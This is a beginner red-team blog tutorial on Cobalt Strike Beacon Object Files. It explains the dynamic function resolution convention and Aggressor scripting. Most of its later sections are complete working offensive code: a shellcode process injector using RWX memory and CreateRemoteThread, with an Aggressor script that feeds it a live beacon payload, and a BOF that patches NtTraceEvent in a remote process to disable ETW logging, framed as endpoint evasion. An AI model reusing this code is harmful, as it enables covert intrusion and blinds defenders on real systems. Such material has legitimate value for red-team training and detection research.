Introduction to BOF, Beacon Object Files not Buffer OverFlows

Beginner-friendly blog explaining BOFs and writing custom process injector and remote Etw patching.

Beginner-friendly blog explaining BOFs and writing custom process injector and remote Etw patching.

What the hell is a BOF?

Before starting, let’s see what CobaltStrike’s User Guide explains about the definition of Beacon Object Files.
“A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features.” ~ hstechdocs.helpsystems.com

Let’s break down the definition of BOF; the definition is divided into three components:

  1. A small compiled C/C++ program
  2. Mainly allows a red teamer to execute code within the beacon’s process
  3. Normally, BOFs are highly used to extend the functionality of the Command & Control Center

So, the requirement of BOFs is straightforward and gives an advance and easy solution to expand our Post-Exploitation techniques and behaviour.

Why Do I need a BOF?

  • Why Do I need a BOF? Why not just simply shell commands?

To answer this question, we must dive deep into shell commands. In general shell command in C2 uses cmd.exe, powershell.exe, /bin/sh, and more. Talking about CobaltStrike uses cmd.exe to execute the given shell commands; This generally spawns a new cmd.exe attached to standard in/Out/Error.

So what’s the issue?

The issue is that shell commands are bad OPSEC and get a red teamer caught within a while. The Endpoints mainly monitor the process creations and different event logs through the kernel level.

Lets talk about the history

BOFs were first introduced by Raphael Mudge, founder of Cobaltstrike. And now, BOFs functionality is part of many Commercial, and Open-Source C2s like Sliver (Open Source), Havoc (Open Source), BRC4(Commercial), NightHawk(Commercial), and many more The BOFs were added with the release of Cobalt Strike 4.1, a more OPSEC Friendly manner to improve and enhance Post-Explotation.

What are its Technical Details?

We are starting with the technical details by discussing the structure and sections of Beacon Object Files.

  • The very first lines of the C/C++ code contain all the required imports, i.e. beacon.h and windows.h. That’s the very first section of BOFs.
    #include <windows.h>
    #include "beacon.h"
    

    Before talking about the next section, we must talk about Cobaltstrike’s function convention; this means executing the following function, how we declare it, and using it in a BOF. We will discuss 2 approaches for this function convention, starting with Dynamic Function Resolution (DFR) and later with an alternative to DFR.

Naming Conventions

Dynamic Func. Resolution

As we already discussed, DFR is a convention to declare and call Win32 APIs. The format is quite simple: LIBRARY$Function.

Let’s talk about how it works practically. And why we need this type of convention in the BOF file.

Why Convention?

“BOFs are single-file C programs that call Win32 APIs and limited Beacon APIs. Don’t expect to link in other functionality or build large projects with this mechanism. Cobalt Strike does not link your BOF to a libc.” ~ hstechdocs.helpsystems.com

As Cobaltstike doesn’t like any libc, this can be interpreted as our BOF cannot use standard functions like strlen, stcmp, etc.. We need a function convention; the convention tells the CobaltStrike’s Bof loader to load these Win32 APIs while loading the BOF.

Using the Conventions
  • Example-1

We start by declaring the name of Win32 API in the format of LIBRARY$Function. Taking an example of a well know Win32 API called OpenProcess.

  1. OpenProcess API requires three parameters.
  2. It’s part of Kernel32 Dll.
  3. The return value is a HANDLE of the process.

We are combining this information in our convention format.

DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
  • Example-2 Another example of a well know Win32 API called VirtualAllocEx.
    1. VirtualAllocEx API requires three parameters.
    2. It’s part of Kernel32 Dll.
    3. The return value is an LPVOID, the base address of the allocated region.

We are combining this information in our convention format.

DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

Note: Keywords, such as WINAPI and DECLSPEC_IMPORT, are essential. These decorations give the compiler the needed hints to pass arguments and generate the proper call instruction.

Alternate way

Now that we have a basic idea of DFR, let’s talk about a fantastic alternate way. There are 3 functions available within the BOF file. GetProcAddress, LoadLibraryA, GetModuleHandle, and FreeLibrary. We can call any function by loading the dll and getting its handle using these functions.

Example-1

An example of getting the EtwEventWrite address from ntdll.dll using GetModuleHandle and GetProcAddress.

void* pAddress = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
Example-2

Getting an NTApi using GetProcAddress and GetModuleHandleA.

/*
    Declaring the `NtOpenProcessToken` Api using `typedef.`
*/
typedef NTSTATUS(NTAPI* _NtOpenProcessToken)(
    IN HANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    OUT PHANDLE TokenHandle
    );

/*
    Using the Api to retrive address of `NtOpenProcessToken.`
*/
_NtOpenProcessToken NtOpenProcessToken = (_NtOpenProcessToken) GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcessToken");
if (NtOpenProcessToken == NULL) {
    return FALSE;
}

/*
    Further it can be used in normal manner.
*/
NTSTATUS status = NtOpenProcessToken(ARG1, ARG2, &ARG3);

Main Function?

In a BOF, by default, we don’t use main functions; instead, we use go, this can be easily customized while using Aggressor script, explained in Aggressor Scripting Section.

Now that we have a basic understanding and structure of a BOF, let’s discuss its advantages and disadvantages quickly, then a practical approach to creating a BOF with Aggressor scripting.

Pros and Cons

  • Pros Starting this section with the pros of BOFs, we first have Extend Functionality; This means we have to create a custom implementation for Process Injection, alternate to PowerPick, by patching Amsi and Etw with a different/custom approach. It’s minimal and tiny when compiled into a BOF/Obj file. The BOFs are very much meant to be accurate and OPSEC-friendly. The C/C++ compiler can be used to compile BOFs. Direct Syscalls are manageable with it for a more Opsec-friendly structure. At last, these BOFs are executed in memory, so there is no need to worry about static evasions.

  • Cons The most significant disadvantage of BOFs is that debugging them is nearly impossible. If BOF crashes during execution, you are losing the beacon. So it’s recommended to write it carefully. There is no support for Asynchronous or long-running processes. As we already discussed, it has no libc attached.

Aggressor Scripting

Aggressor scripts and their scripting is a massive topic; we will discuss the basics of scripting with handling user arguments and loading shellcodes to our BOFs; First, let’s start with the structure of Aggressor scripts.

Basic

Basically, Aggressor scripts are made of a scripting language for the java platform called Sleep, created by the founder of CobaltStrike, Raphael Mudge. It is mainly used for BOFs. The well know scripts are Artifact and Resource Kit.

Basic Structure

  • Global Variables

    We can define a global variable in this from $VARIABLE.

$PROCESS_NAME = "svchost.exe";
  • Aliases

    Aliases are used to define a new command for beacons.

alias HelloMom {
   blog($1, "Hello Mom!");
}
  • Functions

    To declare a function, use the sub keyword.

sub PrintSomething {
   println($1);
}
 
PrintSomething("Hello Mom, a function!");
  • Arguments and Loading BOFs

    We can pass arguments to a BOF using aggressor scripts.

alias HelloMom {
    $PrintMe = $2;  # Variable to store
    blog!($1, "Executing BOF using this data: $PrintMe");  # Publishes an output message to the Beacon transcript.
    
    local('$handle $data $args');
    $handle = openf(script_resource("HelloMom.x64.o"));  # Load the BOF
    $data = readb($handle, -1);
    closef($handle);

    beacon_inline_execute($1, $data, "go", $args);  # Execute the BOF by giving arguments
}

Note: In the last line, when we use beacon_inline_execute, we get to customise which function is the entry point for BOF; in this example, we used go, while the go as the entry point is the default.

Time to write BOF

Keeping this easy to understand, we will write a custom process injection. The approach is the same as standard process injection; the only new thing here is the function naming convention and creating a custom implementation of the default function of libc.

Process Injection Approch

The approach is divided into 4 sections with 2 sub-sections (regarding aggressor scripting required).

Image Credits

  1. We start by opening a process using Win32 API OpenProcess.
    • Using Aggressor scripting for arguments, i.e. PID of the process.
  2. Allocating RWX (Opsec 101) memory using VirtualAllocEx Win32 API.
  3. Importantly, write the shell code for the process.
    • Using Aggressor scripting for shellcode.
  4. Creating a thread to execute the shellcode and get a beacon.

Start by importing the necessary functions beacon.h and windows.h. Furthermore, we add the required functions OpenProcess, VirtualAllocEx, CreateRemoteThread, and WriteProcessMemory WIN32 APIs.

#include <windows.h>
#include "beacon.h"

DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(
    DWORD dwDesiredAccess, 
    WINBOOL bInheritHandle, 
    DWORD dwProcessId);

DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (
    HANDLE hProcess,
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flAllocationType,
    DWORD  flProtect);

DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (  
    HANDLE  hProcess,
    LPVOID  lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T  nSize,
    SIZE_T  *lpNumberOfBytesWritten);

DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (
    HANDLE                 hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T                 dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID                 lpParameter,
    DWORD                  dwCreationFlags,
    LPDWORD                lpThreadId);

DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);

We are using the first function convention called DFR. Now we start with the usual process injection technique. Using the Win32 APIs. Starting by declaring the inject function and entry point go.

void Inject(DWORD pid, unsigned char * shellcode, SIZE_T shellcode_len) {

}

The inject function takes three parameters:

  1. Add a 1 byte to the original size of the shellcode to avoid all crashes.
  2. The pid is the Process Id; we use this ID to open the process and inject the shellcode.
  3. The shellcode, this is the shellcode generated by the CobaltStrike’s Aggressor scripts.
  4. The Shellcode_len is just the length of the generated shellcode.
void Inject(DWORD pid, unsigned char * shellcode, SIZE_T shellcode_len) {
    HANDLE      pHandle;
    HANDLE      rThread;
    PVOID       rBuffer;
    WINBOOL     check;
    SIZE_T  allocation_size;    
    allocation_size = shellcode_len + 1;

    pHandle     =      KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    rBuffer     =      KERNEL32$VirtualAllocEx(pHandle, NULL, allocation_size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    check       =      KERNEL32$WriteProcessMemory(pHandle, rBuffer, shellcode, allocation_size, NULL);
    rThread     =      KERNEL32$CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
    
    KERNEL32$CloseHandle(pHandle);

    return 0;
}

I declare all the Important variables, execute the Win32 APIs individually, provide all necessary arguments, and close the handle with return code 0.

The next part is all about creating the entry point for the BOF; this function contains the beacon.h’s required functions like BeaconDataParse, BeaconDataExtract, and more. We must also create an aggressor script to provide the shellcode and Process ID. Let’s walk through that part.

Creating the entry point, as we already discussed, you can pick any entry point name, but make sure to modify the aggressor script appropriately.

void go(char * args, int len) {
    datap parser;
    DWORD pid;

    unsigned char * shellcode;
    SIZE_T shellcode_len; 

    BeaconDataParse(&parser, args, len);
    pid = BeaconDataInt(&parser);
    shellcode_len = BeaconDataLength(&parser);
    shellcode = BeaconDataExtract(&parser, NULL);
    BeaconPrintf(CALLBACK_OUTPUT, "Shellcode Size: %d bytes", shellcode_len);
    Inject(pid,shellcode,shellcode_len);
}

Starting this function, we have declared a variable called parser, the datatype for this variable is data; this is a custom datatype provided within the beacon.h To parse the arguments given from aggressor scripts. Then we declare variables for shellcode, its length and pid with the proper datatype. The next part is to Parse the arguments; for that, we can use another function from the beacon.h header file, that is BeaconDataParse. The PID is always an integer and used as DWORD, Now it is the turn to use the BeaconDataInt function. To fetch the shellcode, we can use BeaconDataExtract, and the BeaconDataLength function for its length. Also, we used a function called BeaconPrintf, to print something from the BOF to CobaltStrike. We can use that to print the length of the shellcode.

Now that this part is clear, let’s see how to make the aggressor script Parse the shellcode and pid.

beacon_command_register (
    "InjectShellCode",
    "Opens a process (given PID), and injects shellcode.");

alias InjectShellCode {
    $pid = $2;
    $listener = $3;

    if (listener_info($listener) is $null) {
        berror($1, "Could not find listener $listener");
    }

    else {
        $sc_data = artifact_payload($listener, "raw", "x64");

        local('$handle $data $args');
        $handle = openf(script_resource("InjectShellCode.x64.o"));
        $data = readb($handle, -1);
        closef($handle);
        
        $args = bof_pack($1, "ib", $pid, $sc_data);
        btask($1, "Opening $pid and Injecting ShellCode with $listener listener");
        beacon_inline_execute($1, $data, "go", $args);
    }
}

Aggressor Script is quite simple; we first register our alias by using beacon_command_register. Then we create an alias. The 2nd and 3rd arguments are Pid and Listener. Then we use the if/else condition to check whether we have that listener running. If it’s not running, we throw an error. Else we generate a raw payload using artifact_payload. Providing the listener and arch. Now we load our BOF file using local and openf. Now for the most crucial part, the arguments, we have to use a function called bof_pack to pack all arguments. The first argument is $1, and the 2nd one is the type of all the arguments.

Type Description Unpack With (C)
b binary data BeaconDataExtract
i 4-byte integer BeaconDataInt
s 2-byte short integer BeaconDataShort
z zero-terminated+encoded string BeaconDataExtract
Z zero-terminated wide-char string (wchar_t*)BeaconDataExtract

We first have the PID, an integer for our case. The next is raw bytes generated by the artifact_payload function; the data type associated with this is bytes (Binary Data); This is the reason why we choose "ib".

i stands for Integer, and b stands for Binary Data. (check the table).

Now that we have everything ready let’s load in Cobaltstrike and compile the BOF. We can use the x86_64-w64-mingw32-gcc cross-compiler to compile the BOF.

x86_64-w64-mingw32-gcc -o "InjectShellCode.x64.o" -c "InjectShellCode.c"

Once that is done, we place the cna (Aggressor script) in the same directory. From Cobaltstrike, we load the cna. Once the script is loaded, the help menu contains our added alias.

We can execute by giving two arguments, listener and PID. In my case name of the listener is HTTPS.

As we can see, we managed to inject shellcode in the different processes using custom BOF. We can take this to another level using syscalls with different process injection methods like Early Bird APC, ProcessHollow, EnumDisplayMonitors, and many more. Before proceeding to the next BOF, we also have to add handling all sorts of exceptions, and errors, moreover implement the if/else condition for injection. This way, we can protect the beacon from dying because of BOF.

Patching ETW

In this section, we will write a custom BOF to disable ETW in a remote process. There are 3-2 steps for performing our task.

  1. Get the NtTraceEvent address from ntdll.dll.
  2. Change its permissions to Read and Write
  3. Modify the bytes (\x48\x33\xc0\xc3)
  4. Permissions Back to Default

Let’s go through the code, the same approach as Process Injection Part. Declaring all the required functions, OpenProcess, WriteProcessMemory, and VirtualProtect.

#include <windows.h>
#include "beacon.h"

DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(
    DWORD dwDesiredAccess, 
    WINBOOL bInheritHandle, 
    DWORD dwProcessId);

DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (  
    HANDLE  hProcess,
    LPVOID  lpBaseAddress,
    LPCVOID lpBuffer,
    SIZE_T  nSize,
    SIZE_T  *lpNumberOfBytesWritten);

DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtect(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD  flNewProtect,
    PDWORD lpflOldProtect);

DECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);

Now we have all the crucial functions regarding the ETW patching. We open a process, giving a process id. We use the same part of the aggressor script for PID. First, let us get the memory address of NtTraceEvent from ntdll.dll.

void patchETW(DWORD pid) {
    HANDLE hProc = NULL;
    SIZE_T bytesWritten;
    HANDLE nDLL = LoadLibrary("ntdll.dll");
    PVOID mAddress = GetProcAddress(nDLL, "NtTraceEvent");
    if (mAddress != NULL) {
        BeaconPrintf(CALLBACK_OUTPUT, "NtTraceEvent is at 0x%p", mAddress);
    }
}

Once we have the memory address for NtTraceEvent, we can open the process, Write the memory bytes to patch it.

    unsigned char etwbypass[] = { 0x48, 0x33, 0xc0, 0xc3 };

    hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
    if (hProc == NULL) {
        BeaconPrintf(CALLBACK_OUTPUT, "Cannot open the process with this PID: %d", pid);
        return 1;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "Process opened with this PID: %d", pid);

    BOOL success = KERNEL32$WriteProcessMemory(hProc, mAddress, (PVOID)etwbypass, sizeof(etwbypass), &bytesWritten);
    if (success) {
        BeaconPrintf(CALLBACK_OUTPUT, "Patched NtTraceEvent in remote process: PID:%d",pid);
        return 0;
    }
    else {
        BeaconPrintf(CALLBACK_OUTPUT, "Failed to patch NtTraceEvent in remote process: PID:%d", pid);
        return 1;
    }
    KERNEL32$CloseHandle(hProc);

Now, our patchETW function, Opens the process and gets the memory address from ntdll.dll for NtTraceEvent, And writes the bytes to patch ETW. The go function parses the PID for the process.

void go(char * args, int len) {
    datap parser;
    DWORD pid;

    BeaconDataParse(&parser, args, len);
    pid = BeaconDataInt(&parser);
    BeaconPrintf(CALLBACK_OUTPUT, "Given Process ID: %d", pid);
    patchETW(pid);
}

For the Aggressor script, we use the same beacon_command_register and alias for patching etw.

beacon_command_register (
    "PatchETW",
    "Opens a process (given PID), and patches Etw.");

alias PatchETW {
    $pid = $2;
    local('$handle $data $args');
    $handle = openf(script_resource("PatchETW.x64.o"));
    $data = readb($handle, -1);
    closef($handle);
    
    $args = bof_pack($1, "i", $pid);
    btask($1, "Opening $pid and Patching ETW!");
    beacon_inline_execute($1, $data, "go", $args);
}

We use the same command to compile the BOF, and load the cna into CobaltStrike, and execute it to patch ETW in a powershell.exe process.

Once the Cobaltstrike loads our aggressor script, we execute it by giving it the PID.

The aggressor script and BOF can be modified in various ways to avoid the detection of endpoints. Now let’s finally jump to the summary.

What About Sliver?

Sliver C2 also supports BOFs, those aren’t as good as Cobaltstrike, but its open source, unlike commercial C2s.

According to Sliver’s Wiki. It is pretty easy to convert Cobaltstrike’s BOFs to work with Sliver, and no extra modification is required too. It requires extension.json and coff-loader; This means you will need coff-loader downloaded through armory.

A full guide can be found here.

Summary

We started with the definition of BOFs, and the requirement is straightforward and gives an advanced and easy solution to expand our Post-Exploitation techniques and behaviour. Then we talked about why we need the BOFs and went through the technical details by discussing the structure and sections of Beacon Object Files; This includes the function convention and an alternate convention, which means how we are supposed to declare all the Win32 functions, and using it in a BOF. And why we need this type of convention in the BOF file. Next, we moved to Aggressor Scripting and scripts; we discussed the basics of scripting with handling user arguments and loading shellcodes to our BOFs. Once all possible requirements were completed, we created two BOFs: process injection and Patching Etw in the remote process. All the source code can be found on Github.

I hope you have liked the blog about BOFs. If you have any issues, hit me on Twitter/Discord, and we can discuss the issue. In part 2, we will discuss advanced techniques and what’s wrong with these created BOFs, mainly focusing on evasion.